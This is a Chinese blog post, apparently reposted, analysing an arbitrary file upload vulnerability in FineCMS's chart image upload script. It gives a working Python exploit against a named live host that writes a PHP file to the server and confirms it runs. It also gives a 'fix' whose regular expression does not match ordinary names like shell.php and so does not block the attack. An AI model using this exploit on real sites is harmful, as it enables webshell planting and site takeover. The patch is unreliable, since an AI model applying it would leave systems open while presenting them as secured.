FIneCMS /dayrui/libraries/Chart/ofc_upload_image.php Arbitrary File Upload Vul

最新推荐文章于 2022-08-17 17:01:06 发布

weixin_30512089

最新推荐文章于 2022-08-17 17:01:06 发布

阅读量87

点赞数

CC 4.0 BY-SA版权

文章标签： php shell python

原文链接：http://www.cnblogs.com/LittleHann/p/4729648.html

本文分析了FineCMS中存在的一处图片上传漏洞，详细介绍了漏洞触发的条件及利用方式，并提供了修复建议。该漏洞允许攻击者上传任意文件，如PHP Web Shell，从而可能控制受影响的网站。

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0105251

2. 漏洞触发条件

0x1: POC

#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
#__author__ = '1c3z' 

import urllib2 
import random

fileName = "shell" + str(random.randrange(1000,9999)) + ".php" 
target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php" 

def uploadShell():
    url = target + "?name=" + fileName
    req = urllib2.Request(url, headers={"Content-Type": "application/oct"}) 
    res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")
    return res.read()

def poc():
    res = uploadShell()
    if res.find("tmp-upload-images") == -1:
        print "Failed !"
        return

    print "upload Shell success"
    url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName
    md5 = urllib2.urlopen(url).read()
    if md5.find("e369853df766fa44e1ed0ff613f563bd") != -1:
        print "poc: " + url 

poc()

3. 漏洞影响范围
4. 漏洞代码分析

/dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/'; 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
$destination = $default_path . basename( $_GET[ 'name' ] ); 
echo 'Saving your image to: '. $destination;

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

程序未对上传文件进行任何后缀、内容的检测和过滤

5. 防御方法

/dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/'; 
if (!file_exists($default_path)) 
    mkdir($default_path, 0777, true);

$destination = $default_path . basename( $_GET[ 'name' ] ); 

/* */
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination))) 
{
    die("你指定的文件名被系统禁止！"); 
}
/* */

echo 'Saving your image to: '. $destination;

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);